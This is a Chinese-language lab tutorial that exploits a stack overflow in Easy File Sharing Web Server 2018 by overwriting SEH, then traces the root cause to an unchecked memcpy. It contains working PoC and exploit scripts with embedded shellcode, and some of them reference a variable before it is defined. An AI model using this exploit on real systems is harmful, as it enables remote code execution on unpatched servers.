Windows漏洞学习之栈溢出覆盖SEH

转载自https://forum.butian.net/share/1007

0x00 简介

这篇文章主要是介绍SEH机制以及在实战中怎么利用栈溢出覆盖SEH达到绕过GS保护机制,从而执行你的shellcode。

0x01 SEH介绍

Windows 需要它运行的软件能够从发生的错误中恢复,为此,它允许开发人员指定当程序遇到问题(或异常)并编写在出现错误时运行的特殊代码(处理程序)。换句话说,Windows 为开发人员实现了一种结构化的方式来处理他们称之为结构化异常处理程序的异常。

我们实际上可以通过覆盖原始的 SEH 代码来劫持这个过程来运行我们想要的代码。然后,让我们执行代码所需要做的就是通过写入缓冲区的末尾来故意触发错误(异常)。

Windows SEH 实现了一系列代码块来处理异常,作为在单个块无法处理错误的情况下有多个回退选项的一种方式。此代码可以写入软件或操作系统本身。每个程序都有一个 SEH 链,即使是没有开发人员编写的任何错误处理代码的软件。下面有一张关于 SEH 链的图解:

lYisnTc

关于SEH的详细介绍我推荐看看这篇博客:https://blog.csdn.net/chenlycly/article/details/52575260

0x02 利用SEH

基本步骤:

  1. 首先要利用栈溢出漏洞得到溢出点到SEH结构体的偏移量。
  2. 然后要得到shellcode的起始位置。
  3. 触发异常。

以上步骤是最基本的,在真实的环境中我们还需要考虑其他因素。

0x03 实验过程

实验环境与工具

攻击机:Kali-Linux-2021.2-vmware-amd64 192.168.xxx.xxx

靶机:Win7 旗舰版 192.168.xxx.xxx

漏洞程序:Easy File Sharing Web Server 2018

服务端口: 80

调试器:Immunity Debugger-漏洞分析专用调试器(安装了mona插件)、X32dbg

本地调试

利用Immunity Debugger打开漏洞程序Easy File Sharing Web Server 2018,并且让它跑起来:

121342

确认漏洞

我们需要通过快速验证脚本(POC) 来确认该漏洞。 下面是我构造的 Python 脚本,目的是发送5000个字符到目标服务器上(数量不同覆盖到的SEH也不同,不过本质一样,这里用5000做测试),我给它起名 easyfileshring_POC.py:

import socket
import sys

host = str(sys.argv[1]) #第一个参数是目标ip
port = int(sys.argv[2]) #第二个参数是目标端口

a = socket.socket()

print "Connecting to: " + host + ":" + str(port)
a.connect((host,port)) #建立连接

buff = 'a' * 5000 #发送内容

a.send("GET " + buff + " HTTP/1.0\r\n\r\n")

a.close()

print "Done..."

然后,我们打开kali运行该python脚本,

Screenshot 2021-11-05 165420

转动靶机上查看,

Screenshot 2021-11-05 165637

发现程序停住了,因为在读取地址EAX+4C里的值时发生读取错误,因为EAX = 61616161(即我们POC中发送的“a”的ascill)不是一个合法地址,说明程序发生了栈溢出,导致EAX的值是溢出的字符,我们打开Immunity Debugger的SEH chain,

Screenshot 2021-11-05 170129

查看SEH chain,发现SEH被覆盖成了溢出值

12143

这里我们再利用mona命令,生成5000个测试字符:

!mona pattern_create 5000

Screenshot 2021-11-05 173334

然后去打开生成的pattern.txt,复制生成的5000个测试字符,

Screenshot 2021-11-05 173427

然后重启服务程序,并且将POC脚本中发送的内容改为这5000个测试字符,然后再用kali运行脚本,可以发现程序再次停止,键入以下mona命令,来寻找SEH的偏移量:

!mona findmsp

Screenshot 2021-11-05 174540

可以知道4061字节可以覆盖到SEH,

构造exp

首先我们知道SEH结构体中有两个成员,一个成员是SEH,另一个成员是NEXT SEH。其中SEH里存放的是一个异常处理函数的地址,而NEXT SEH里存放的是下一个指向SEH结构体的指针。

所以我们可以利用栈溢出覆盖SEH和NEXT SEH的值并且触发GS保护机制(触发异常),然后程序就会执行这个我们覆盖的SEH,我们让这个SEH去执行一段最后能返回原来的栈上NEXT SEH位置的代码,执行我们覆盖的NEXT SEH里填写的jmp + 偏移数 指令,然后这个程序就能跳转到栈下方我们编写的shellcode,然后执行我们的shellcode。

这里你们肯定会冒出几个疑问?(这几个问题的答案正是我们构造payload的关键点)

1.为什么SEH里填的地址不能直接是shellcode的地址?

2.要让SEH去执行什么代码才能在最后让程序返回原来的栈上NEXT SEH位置?

3.SEH里的指向代码地址从哪获得?

4.NEXT SEH 里jmp的偏移数填多少比较好?

1的答案是:因为程序默认都会开启 ALSR保护 —— 让堆、栈、共享库映射等线性区布局地址随机化,增加攻击者预测目的地址的难度,所以我们无法直接知道程序运行中shellcode在栈上的地址,所以我们要利用在NEXT SEH中填写的jmp来跳转到栈上shellcode起始位置。

2的答案是:要利用 pop-pop-ret 指令来达到我们预期的效果,原因要从Windows异常处理机制来解释:

Windows异常处理机制

在程序运行过程中,当触发了异常,程序尝试处理异常的时候,首先系统会执行异常的回调函数。

EXCEPTION_DISPOSITION
__cdecl _except_handler( struct _EXCEPTION_RECORD *ExceptionRecord,
void * EstablisherFrame,
struct _CONTEXT *ContextRecord,
void * DispatcherContext);

并在栈中压入一个EXCEPTION_DISPOSITION Handler结构,如下图

aHR0cHM6Ly9zdXBlcmoub3NzLWNuLWJlaWppbmcuYWxpeXVuY3MuY29tLzIwMjAwNTIyMjIwMDUzLnBuZw

这个时候,esp指向栈顶位置就是这个结构体。这个结构体中包含这从TEB(储存与线程相关的内容的结构体)中得到的第一个SEH结构体的位置。这个时候,通过Establisher Frame找到第一个SEH结构体的位置,执行异常处理函数。


我们分析上面那张栈空间的图可以发现,当触发异常时,此时的esp指向的是EXCEPTION_DISPOSITION Handler,当执行异常处理函数(被我们改写成执行pop-pop-ret)时,esp向高地址移动8个字节,指向了Establisher Frame,存着SEH结构体的第一个成员(NEXT SEH)的地址,因此执行ret会将eip指向NEXT SEH,然后执行NEXT SEH里的指令。

3的答案是:从问题2的答案我们可以知道,我们需要在SEH中填写指向的pop-pop-ret代码的地址,从问题1的答案我们了解到程序都是默认开启ALSR保护的,所以这个地址肯定不是随便给的,那么我们怎么获得指向的pop-pop-ret代码的地址,这里我们利用强大的Mona达到我们的目的,在immunity—debuger的终端中键入:

!mona seh

它会帮我们找到那个POP POP RET代码块地址,获取的结果可以在seh.txt中查看

Screenshot 2021-11-05 203535

首先在seh.txt中查找一个未开启 ALSRSafeSEH(SEH 校验机制) 的模块,这里我们就选择第一个ImageLoad.dll:

Screenshot 2021-11-05 204406

找一个ImageLoad.dll中 利用的寄存器一般不会影响程序运行的pop-pop-ret指令地址,同时略过带有“\x00“的地址 (尽量避免出现0x00 防止传送过程中被截断),

利用POC_2.py来测试程序能到运行到我们覆盖的NEXT SEH里的jmp + 偏移数 指令

POC_2.py(在前一个POC的基础上进行修改):

import socket
import sys

host = str(sys.argv[1])
port = int(sys.argv[2])

a = socket.socket()

print "Connecting to: " + host + ":" + str(port)
a.connect((host,port))

offset = 'a' * 4061 # 覆盖SEH结构体的第一个成员NEXT SEH的偏移
Nseh = "\xeb\x14\x90\x90" # jmp 0x14 指令
seh = "\xa3\x02\x01\x10" # 我们找到的 pop-pop-ret 指令的地址——例如 0x100102a3
nop = "\x90" * 20 # nop指令——防止jmp跳转过头
shellcode = "\xcc" * 32 # 这里用 int3 来模拟shellcode
exploit = offset + Nseh + seh + nop + shellcode
fill = "b" * (5000-len(buff)) # 防止栈溢出未触发异常
buff = exploit + fill

a.send("GET " + buff + " HTTP/1.0\r\n\r\n")

a.close()

print "Done..."

1111111112

经过几次的更改对POC中seh的更改并测试,我终于找到一个合适的pop-pop-ret指令地址:0x100102a3

让我们看看效果:

Screenshot 2021-11-05 221456

程序再次断在了这个地方,原因是读取[EAX+4C]错误(触发了异常),因为这时EAX值被改成了我们写入的溢出值 “bbbb”,这时我们看看SEH Chain:

Screenshot 2021-11-05 221830

SEH已经被改写为我们选择的pop-pop-ret指令地址了,很好,接下来我们按快捷键

Shift + F9

执行Immunity Debugger的 忽略异常继续执行的命令

Screenshot 2021-11-05 222342

可以看到程序跑进我们写的 int3 指令里断下来了,我们离成功更近一步了,注意观察这时候是跑进我们写的第二个 int3 指令里,所以如果我们从第二个 int3 指令开始写入我们的shellcode,那么程序就会开始执行我们的shellcode,所以我们只要把POC_2.py的代码进行适当更改就能当成 exp(exploit——漏洞利用脚本)用了。

4的答案是:从问题3的答案中你可以看到,我在POC_2.py中填写的 jmp指令的 偏移数 是 0x14 (20),其实这个偏移数的大小没有一个严格的规定,但是它的大小不能超过它后面 nop 指令的数量,不然 jmp指令 就很可能在shellcode的起始地址后面落地。所以你可以让不断调试让 jmp 刚刚好跳到shellcode的起始地址上,也可以让 jmp指令 后面 nop 指令的数量尽可能大,确保 jmp跳到shellcode前面的 nop 指令上( nop 指令是空指令,会直接跳过,直到遇到其他指令),这样程序都能正常执行你的shellcode。


当你想通上面四个问题时,接下来你就能在把上面的POC_2.py中的shellcode改成你自己的shellcode了,即获得了这个漏洞程序的exp,easyfileshring_exp.py:

import socket
import sys

host = str(sys.argv[1])
port = int(sys.argv[2])

a = socket.socket()

print "Connecting to: " + host + ":" + str(port)
a.connect((host,port))

offset = 'a' * 4061 # 覆盖SEH结构体的第一个成员NEXT SEH的偏移
Nseh = "\xeb\x14\x90\x90" # jmp 0x14 指令
seh = "\xa3\x02\x01\x10" # 我们找到的 pop-pop-ret 指令的地址——例如 0x100102a3
nop = "\x90" * 20 # nop指令——防止jmp跳转过头
shellcode = (
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9"
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56"
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9"
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97"
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64"
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8"
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a"
"\x1c\x39\xbd"
)
# 这个shellcode的功能是 弹计算机并使程序崩溃(利用kali漏洞利用库里的 39009.py 里的shellcode)

exploit = offset + Nseh + seh + nop + shellcode
fill = "b" * (5000-len(buff)) # 防止栈溢出未触发异常
buff = exploit + fill

a.send("GET " + buff + " HTTP/1.0\r\n\r\n")

a.close()

print "Done..."

漏洞exp测试

在kali是运行easyfileshring_exp.py,调试发现靶机里的shellcode被顺利执行了:

Screenshot 2021-11-05 231026

模拟实战攻击

在靶机上正常运行漏洞程序:

Screenshot 2021-11-05 231715

在kali中利用exp攻击靶机漏洞程序,

Screenshot 2021-11-05 231900

攻击结果:

Screenshot 2021-11-05 231942

模拟远程攻击成功,成功执行shellcode。

漏洞产生原因分析

我们想知道这个程序中的栈溢出漏洞是怎么产生的以及溢出点在哪?

动静结合(ida+调试器)

这里我没有使用immunity debuger进行动态调试,而是利用x32dbg,因为我个人感觉x32的界面比较舒服,进行溢出点寻找时比较方便。

现在用x32dbg打开漏洞程序,然后在kali上运行exp攻击它,我们可以看到程序断在了0x61C277F6,这个地方我们已经无比熟悉了,eax被溢出值覆盖了,导致程序触发异常。

Screenshot 2021-11-07 175628

我们目前的思路是先找到eax的来源,因为知道eax的来源就是我们要找的溢出点了,现在打开call stack窗口,

image-20211107180829184

看到程序现在跑到了sqlite3模块里面了,即sqlite3.dll,我们将程序安装目录里的sqlite3.dll拉到ida里分析一下,在ida中查找一下程序中断的那个地址,在sqlite3SafeCheckOK()里,

Screenshot 2021-11-07 181510

可以看到让程序中断的那个eax就是这个函数的参数a1,并且只知道eax来源于上层函数
让我们看看堆栈调用,再次打开call stack,

Screenshot 2021-11-07 210322

根据第一个返回地址0x61C6286C,我们定位到_sqlite3LockAndPrepare函数

Screenshot 2021-11-07 194352

Screenshot 2021-11-07 210615

这里还是没有发现eax的来源,那我们还是看fsws.00496624 吧,通过它我们定位到了sub_496600函数,

Screenshot 2021-11-07 204505

这里的eax来源于这里的ecx的引用,我们在sub_496600函数开头下一个断点,在kali上运行exp,在程序断下来后,再F9运行,第三次断下来时,发现ecx里的地址05277030里存着 “AAAA…..”,即0x41414141,

Screenshot 2021-11-07 214014

那这个0x41414141是什么时候复制到栈上的呢? 我们对ecx的值下一个写入断点吧,

(注意这里要在第一次断在 0x496600 时,对ecx的值下写入断点,因为ecx的值是栈的地址,每一次运行程序都会改变)

再次运行程序,程序断在了这里,

Screenshot 2021-11-07 220915

我们用ida看看这个地址,在write_char()

Screenshot 2021-11-07 221056

那我们看看堆栈信息,

Screenshot 2021-11-07 221428

依次查看这几个返回地址,并在ida里分析后,我们发现,是0x4F907A

sprintf() –> sub_500050() –> write_string() –> write_char()

Screenshot 2021-11-07 224120

那么我们看最后一个返回地址0x497483,在ida里查看,

image-20211107224548084

0x497475下一个断点,

Screenshot 2021-11-07 224636

我想跑到这看看拼接的字符串,

第一次断下来,我们执行到sprintf函数,看看栈上的参数,

Screenshot 2021-11-07 225257

发现edi指向的地址里储存着“AAAA…..”,即0x41414141,作为格式化字符串的第三个参数,按F8单步执行完sprinf函数后,

Screenshot 2021-11-07 225824

发现,这么长的畸形字符串复制到栈上,使用sprintf格式化后进行拼接,这就造成栈溢出了
看看确实拼接成sql语句了,之后就有了程序把这一串sql语句拿去给sqlite3.dll处理的时候造成异常,导致程序中断。

具体路径如下,sprintf执行完下一条语句是调用sub_500050函数
sub_500050() –> write_string() –> write_char() –> sub_496600 –> sqlite3_prepare_v2 –> sqlite3LockAndPrepare –> sqlite3SafetyCheckOk(在这函数里面异常)

现在我们看看edi里的值是从哪来的,在ida里分析edi就是a3,而a3的值是调用sub_497380()的函数传给sub_497380()的,

Screenshot 2021-11-08 111816

sub_497380()开头下一个断点,让程序断在这里,观察栈上返回地址,

Screenshot 2021-11-08 131301

通过返回地址0x42DE73,在ida里定位,

Screenshot 2021-11-08 131440

发现sub_497380()的参数 a3 是函数sub_52D5E7()的返回值,我们进去看看,

Screenshot 2021-11-08 131706

在x32dbg里调试发现畸形字符串不是在这里产生的,

那我们再回到上一层调用看看参数this是从哪来的,

Screenshot 2021-11-08 203438

参数this就是这里的Substr,我们利用x32dbg下断点分析,分析标号1函数没有被执行,再结合ida分析知道这有个选择结构,判断条件是v15的值,v15=(v38指向的地址里存着的字符串里带有“/“?1:0),

Screenshot 2021-11-08 210528

调试发现,v38的指向的地址里存着的是我们要找的那个畸形字符串,并且它不带有“/“,所以程序不跑标号1函数,而是跑进了标号2函数。同时我们也可以知道标号2函数也不是产生畸形字符串的地方,因为在它之前v38已经出现了,那么我们找一下v38里的值是从哪来的,

Screenshot 2021-11-08 212216

我们进去看看,

Screenshot 2021-11-08 212754

结合x32dbg调试,发现v38里畸形字符串就是在这个函数sub_52D225中产生的,因为这个函数中使用了lstrlneA()获得报文中的字符串长度,然后没有检验长度是否符合要求,直接使用memcpy_0()将这个畸形字符串完整的复制到栈上。

总结

这个程序的漏洞是由于没有对字符串长度进行检查,直接使用memcpy()将报文中大量字符串复制到栈上,造成栈溢出。因为这个程序开启了栈保护,所以我通过栈溢出来覆盖SEH达到绕过栈保护执行任意代码。这次实验一共花了4天时间完成,不足的地方有很多,做了很多重复无用的工作,只能说经验不足吧。不过这次实验对我的收获很大,让我对动态调试和静态分析的使用更加熟练了。

参考

https://www.shogunlab.com/blog/2017/11/06/zdzg-windows-exploit-4.html